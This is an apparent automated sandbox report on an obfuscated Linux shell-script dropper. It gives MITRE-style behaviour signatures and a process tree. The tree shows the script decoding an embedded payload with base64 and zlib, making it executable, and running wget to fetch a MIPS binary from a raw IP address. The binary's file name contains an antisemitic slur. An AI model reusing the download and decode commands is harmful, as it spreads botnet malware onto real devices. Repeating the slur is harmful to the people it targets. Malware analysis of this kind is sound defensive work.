Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 17:45

General

  • Target
    f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
  • Size 832KB
  • Sample260913-wbtafabl41
  • SHA256 feabe4a547a7c3cd983b520bbb9ef310ac29f17a7f7104c763f3a2e51b3b980e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
    /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
    1⤵
      PID:651
    • /usr/local/sbin/bash
      bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
      1⤵
        PID:651
      • /usr/local/bin/bash
        bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
        1⤵
          PID:651
        • /usr/sbin/bash
          bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
          1⤵
            PID:651
          • /usr/bin/bash
            bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
            1⤵
              PID:651
            • /sbin/bash
              bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
              1⤵
                PID:651
              • /bin/bash
                bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
                1⤵
                • Writes file to tmp directory
                PID:651
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:659
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:665
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:666
                    • /bin/chmod
                      chmod +x /tmp/tmp.xx7RGPWBNI/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:681
                  • /bin/bash
                    bash /tmp/tmp.xx7RGPWBNI/embedded.sh
                    1⤵
                      PID:651
                      • /usr/bin/pkill
                        pkill -9 fuckjewishpeople.mips
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:684
                      • /usr/bin/wget
                        wget http://84.200.24.238/fuckjewishpeople.mips
                        2⤵
                        • System Network Configuration Discovery
                        PID:685

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          embedded.sh

                          • Path /tmp/tmp.xx7RGPWBNI/embedded.sh
                          • Size 1KB
                          • SHA256 f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee
                          • MD5 SHA1 SHA512 TLSH